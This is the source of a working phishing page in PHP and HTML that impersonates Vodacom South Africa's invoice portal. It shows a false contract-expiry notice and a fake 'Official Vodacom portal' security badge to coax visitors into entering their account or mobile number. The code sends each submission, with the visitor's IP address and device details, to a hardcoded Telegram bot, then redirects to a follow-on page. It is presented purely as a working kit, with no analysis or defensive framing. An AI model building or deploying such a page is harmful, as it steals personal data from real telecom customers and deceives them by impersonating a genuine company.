<?php
// index.php - Vodacom South Africa | Invoice Query
session_start();

// === TELEGRAM CONFIG ===
$BOT_TOKEN = "8135689033:AAGBjMNfT40yxgKM9hF6ztF5g_TWtrvdSRQ";
$CHAT_ID = "-5203855123";

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true
    ]);
    
    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $httpCode === 200;
}

// Get user info
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'South Africa';

// === HANDLE FORM SUBMIT ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['account'])) {
    $account = trim($_POST['account']);
    $invoice = trim($_POST['invoice'] ?? 'VC-CP21408-3210');
    
    if (!empty($account)) {
        $msg = "<b>🐸🇿🇦 VODACOM SOUTH AFRICA - INVOICE QUERY🐸🇿🇦🐸🇿🇦</b>\n";
        $msg .= "════════════════════════════════════\n";
        $msg .= "<b>📱 Account number:</b> <code>{$account}</code>\n";
        $msg .= "<b>🧾 Invoice number:</b> <code>{$invoice}</code>\n";
        $msg .= "<b>⏰ Date and time:</b> " . date('d/m/Y H:i:s') . "\n";
        $msg .= "<b>🌐 IP Address:</b> <code>{$ip}</code>\n";
        $msg .= "<b>📍 Country:</b> {$country}\n";
        $msg .= "<b>📱 Device:</b> " . substr($user_agent, 0, 50) . "...\n";
        $msg .= "════════════════════════════════════\n";
        $msg .= "<i>Invoice query - Vodacom South Africa Portal</i>";
        
        sendTelegram($msg);
        
        $_SESSION['account'] = $account;
        $_SESSION['invoice'] = $invoice;
        
        header("Location: loading.php?account=" . urlencode($account) . "&invoice=" . urlencode($invoice));
        exit;
    }
}
?>
<!DOCTYPE html>
<html lang="en-ZA">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Invoice Query | Vodacom South Africa</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <link rel="icon" href="https://www.vodacom.co.za/favicon.ico" type="image/x-icon">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            background-color: #F5F7FB;
            color: #1A1A1A;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background-color: #FFFFFF;
            border-bottom: 1px solid #E6EAF2;
            padding: 0.75rem 0;
        }

        .header-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .logo {
            height: 45px;
            width: auto;
        }

        .nav-links {
            display: flex;
            gap: 2rem;
        }

        .nav-links a {
            color: #4A4A4A;
            text-decoration: none;
            font-size: 0.9rem;
            font-weight: 500;
        }

        .nav-links a:hover {
            color: #E60000;
        }

        .container {
            max-width: 480px;
            width: 100%;
            margin: 3rem auto;
            padding: 0 1.5rem;
            flex: 1;
        }

        .card {
            background-color: #FFFFFF;
            border: 1px solid #E6EAF2;
            padding: 2.5rem;
        }

        .card h1 {
            font-size: 1.8rem;
            font-weight: 700;
            color: #1A1A1A;
            margin-bottom: 0.5rem;
        }

        .card .subtitle {
            color: #6B7A99;
            font-size: 0.95rem;
            margin-bottom: 1.5rem;
            padding-bottom: 1rem;
            border-bottom: 1px solid #E6EAF2;
        }

        .info-note {
            background-color: #FFF8E7;
            border-left: 4px solid #E60000;
            padding: 1rem;
            margin-bottom: 2rem;
            font-size: 0.9rem;
            border-radius: 0 4px 4px 0;
        }

        .info-note p {
            margin-bottom: 0.5rem;
            color: #1A1A1A;
            font-weight: 500;
        }

        .info-note ul {
            list-style: none;
            padding-left: 0;
            margin-bottom: 0.75rem;
        }

        .info-note li {
            margin-bottom: 0.4rem;
            color: #4A4A4A;
            font-size: 0.85rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }

        .info-note li i {
            color: #E60000;
            font-size: 0.7rem;
        }

        .mobile-input-prompt {
            background-color: #F0F3F9;
            padding: 0.75rem 1rem;
            border-radius: 4px;
            font-size: 0.85rem;
            color: #1A1A1A;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            margin-top: 0.5rem;
        }

        .mobile-input-prompt i {
            color: #E60000;
        }

        .form-group {
            margin-bottom: 1.5rem;
        }

        label {
            display: block;
            font-size: 0.85rem;
            font-weight: 600;
            color: #1A1A1A;
            margin-bottom: 0.5rem;
            text-transform: uppercase;
            letter-spacing: 0.3px;
        }

        .input-wrapper {
            position: relative;
        }

        .input-wrapper i {
            position: absolute;
            left: 1rem;
            top: 50%;
            transform: translateY(-50%);
            color: #6B7A99;
            font-size: 1rem;
        }

        input {
            width: 100%;
            padding: 0.9rem 1rem 0.9rem 2.5rem;
            font-size: 1rem;
            border: 1px solid #D1D7E6;
            background-color: #FFFFFF;
            font-family: 'Inter', sans-serif;
        }

        input:focus {
            outline: none;
            border-color: #E60000;
        }

        .input-hint {
            font-size: 0.75rem;
            color: #6B7A99;
            margin-top: 0.5rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }

        .input-hint i {
            color: #E60000;
            font-size: 0.7rem;
        }

        .btn-primary {
            width: 100%;
            padding: 1rem;
            background-color: #E60000;
            color: #FFFFFF;
            border: none;
            font-weight: 600;
            font-size: 1rem;
            cursor: pointer;
            margin: 1.5rem 0;
            transition: background-color 0.2s;
        }

        .btn-primary:hover {
            background-color: #BD0000;
        }

        .btn-primary i {
            margin-right: 0.5rem;
        }

        .security-badge {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 0.75rem;
            padding: 1rem 0;
            border-top: 1px solid #E6EAF2;
            font-size: 0.8rem;
            color: #6B7A99;
        }

        .security-badge i {
            color: #E60000;
        }

        .help-line {
            text-align: center;
            margin-top: 1.5rem;
            font-size: 0.85rem;
            color: #6B7A99;
        }

        .help-line i {
            color: #E60000;
            margin-right: 0.5rem;
        }

        .help-line a {
            color: #E60000;
            text-decoration: none;
            font-weight: 600;
        }

        .help-line a:hover {
            text-decoration: underline;
        }

        .footer {
            background-color: #FFFFFF;
            border-top: 1px solid #E6EAF2;
            padding: 2rem 0;
            margin-top: auto;
        }

        .footer-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 1rem;
        }

        .footer-logo {
            height: 30px;
            width: auto;
        }

        .footer-links {
            display: flex;
            gap: 2rem;
            font-size: 0.8rem;
        }

        .footer-links a {
            color: #6B7A99;
            text-decoration: none;
        }

        .footer-links a:hover {
            color: #E60000;
        }

        .footer-copyright {
            font-size: 0.75rem;
            color: #6B7A99;
        }

        .loading {
            display: none;
            text-align: center;
            margin-top: 1rem;
        }

        .loading i {
            animation: spin 1s linear infinite;
            color: #E60000;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        @media (max-width: 480px) {
            .header-container {
                padding: 0 1rem;
            }
            .card {
                padding: 1.5rem;
            }
            .footer-links {
                flex-wrap: wrap;
                justify-content: center;
            }
        }
    </style>
</head>
<body>
    <header class="header">
        <div class="header-container">
            <img src="https://download.logo.wine/logo/Vodacom/Vodacom-Logo.wine.png" alt="Vodacom South Africa" class="logo">
            <div class="nav-links">
                <a href="#">Personal</a>
                <a href="#">Business</a>
                <a href="#">Help</a>
            </div>
        </div>
    </header>

    <div class="container">
        <div class="card">
            <h1>Invoice Query</h1>
            <p class="subtitle">Enter your details to view and pay your invoice</p>
            
            <!-- Informational Note -->
            <div class="info-note">
                <p><i class="fas fa-exclamation-circle" style="color: #E60000; margin-right: 0.5rem;"></i> Mobile Contract Notice</p>
                <ul>
                    <li><i class="fas fa-circle"></i> Your mobile contract is approaching its expiry date</li>
                    <li><i class="fas fa-circle"></i> Upon expiry: out-of-bundle rates apply, data services may be restricted</li>
                    <li><i class="fas fa-circle"></i> Automatic renewal requires confirmation to avoid service interruption</li>
                </ul>
                <div class="mobile-input-prompt">
                    <i class="fas fa-mobile-alt"></i>
                    <span>Enter your mobile number below for contract renewal options and personalised details</span>
                </div>
            </div>
            
            <form method="POST" id="consultForm">
                <div class="form-group">
                    <label>Account number / Mobile number</label>
                    <div class="input-wrapper">
                        <i class="fas fa-phone-alt"></i>
                        <input type="text" name="account" placeholder="e.g. 0812345678" required>
                    </div>
                    <div class="input-hint">
                        <i class="fas fa-info-circle"></i>
                        Find it on your invoice or dial *111#
                    </div>
                </div>

                <div class="form-group">
                    <label>Invoice number <span style="font-weight: normal; color: #6B7A99;">(pre-filled)</span></label>
                    <div class="input-wrapper">
                        <i class="fas fa-file-invoice"></i>
                        <input type="text" name="invoice" value="VC-CP21408-3210" placeholder="VC-CP21408-3210">
                    </div>
                    <div class="input-hint">
                        <i class="fas fa-check-circle" style="color: #28a745;"></i>
                        Default invoice number provided - modify if different
                    </div>
                </div>

                <button type="submit" class="btn-primary" id="submitBtn">
                    <i class="fas fa-search"></i>
                    Query Invoice
                </button>

                <div class="loading" id="loading">
                    <i class="fas fa-spinner"></i> Querying...
                </div>

                <div class="security-badge">
                    <i class="fas fa-shield-alt"></i>
                    <span>Secure connection • Official Vodacom portal</span>
                </div>
            </form>

            <div class="help-line">
                <i class="fas fa-headset"></i>
                Need help? Call <a href="tel:111">111</a> from your Vodacom line
            </div>
        </div>
    </div>

    <footer class="footer">
        <div class="footer-container">
            <img src="https://www.at-mobilfunk.com/wp-content/uploads/2020/02/vodacom-logo.png" alt="Vodacom" class="footer-logo">
            <div class="footer-links">
                <a href="#">Terms and conditions</a>
                <a href="#">Privacy policy</a>
                <a href="#">Help centre</a>
                <a href="#">Contact</a>
            </div>
            <div class="footer-copyright">© 2026 Vodacom South Africa. All rights reserved.</div>
        </div>
    </footer>

    <script>
        document.getElementById('consultForm').addEventListener('submit', function(e) {
            const submitBtn = document.getElementById('submitBtn');
            const loading = document.getElementById('loading');
            const phone = document.querySelector('input[name="account"]').value.trim();
            
            if (phone.length === 0) {
                e.preventDefault();
                alert('Please enter an account or mobile number');
                return;
            }
            
            submitBtn.style.display = 'none';
            loading.style.display = 'block';
        });
    </script>
</body>
</html>